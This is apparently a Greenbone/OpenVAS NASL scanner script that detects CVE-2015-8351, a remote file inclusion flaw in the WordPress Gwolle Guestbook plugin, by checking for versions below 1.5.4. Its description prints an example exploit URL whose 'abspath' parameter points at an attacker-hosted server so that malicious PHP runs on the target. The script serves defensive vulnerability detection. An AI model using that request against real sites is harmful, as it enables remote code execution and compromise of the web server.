WordPress Gwolle Guestbook Plugin < 1.5.4 RFI Vulnerability

# SPDX-FileCopyrightText: 2017 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.112042");
  script_version("2024-11-01T05:05:36+0000");
  script_tag(name:"last_modification", value:"2024-11-01 05:05:36 +0000 (Fri, 01 Nov 2024)");
  script_tag(name:"creation_date", value:"2017-09-12 11:05:31 +0200 (Tue, 12 Sep 2017)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_tag(name:"severity_origin", value:"NVD");
  script_tag(name:"severity_date", value:"2018-10-09 19:58:00 +0000 (Tue, 09 Oct 2018)");

  script_cve_id("CVE-2015-8351");

  script_tag(name:"qod_type", value:"remote_banner");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("WordPress Gwolle Guestbook Plugin < 1.5.4 RFI Vulnerability");

  script_category(ACT_GATHER_INFO);

  script_copyright("Copyright (C) 2017 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_plugin_http_detect.nasl");
  script_mandatory_keys("wordpress/plugin/gwolle-gb/detected");

  script_tag(name:"summary", value:"The WordPress plugin 'Gwolle Guestbook' is prone to a remote file
  inclusion (RFI) vulnerability.");

  script_tag(name:"vuldetect", value:"Checks if a vulnerable version is present on the target host.");

  script_tag(name:"insight", value:"HTTP GET parameter 'abspath' of frontend/captcha/ajaxresponse.php
  is not being properly sanitized before being used in PHP require() function leading to a PHP remote
  file inclusion vulnerability.

  A remote attacker can include a file named 'wp-load.php' from arbitrary remote server and execute
  its content on the vulnerable web server.

  In order to do so the attacker needs to place a malicious 'wp-load.php' file into his server
  document root and includes server's URL into request:

  http://example.com/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://[hackers_website]

  In order to exploit this vulnerability 'allow_url_include' shall be set to 1. Otherwise, attacker
  may still include local files and also execute arbitrary code.");

  script_tag(name:"impact", value:"Successful exploitation of this vulnerability will lead to entire
  WordPress installation compromise, and may even lead to the entire web server compromise.");

  script_tag(name:"affected", value:"WordPress Gwolle Guestbook plugin before 1.5.4.");

  script_tag(name:"solution", value:"Update to version 1.5.4 or later.");

  script_xref(name:"URL", value:"https://wordpress.org/plugins/gwollegb/#changelog");
  script_xref(name:"URL", value:"https://packetstormsecurity.com/files/134599/WordPress-Gwolle-Guestbook-1.5.3-Remote-File-Inclusion.html");

  exit(0);
}

CPE = "cpe:/a:gwolle_guestbook_project:gwolle_guestbook";

include("host_details.inc");
include("version_func.inc");

if( ! port = get_app_port( cpe: CPE ) )
  exit( 0 );

if( ! infos = get_app_version_and_location( cpe: CPE, port: port, exit_no_version: TRUE ) )
  exit( 0 );

version = infos["version"];
location = infos["location"];

if( version_is_less( version: version, test_version: "1.5.4" ) ) {
  report = report_fixed_ver( installed_version: version, fixed_version: "1.5.4", install_path: location );
  security_message( port: port, data: report );
  exit( 0 );
}

exit( 99 );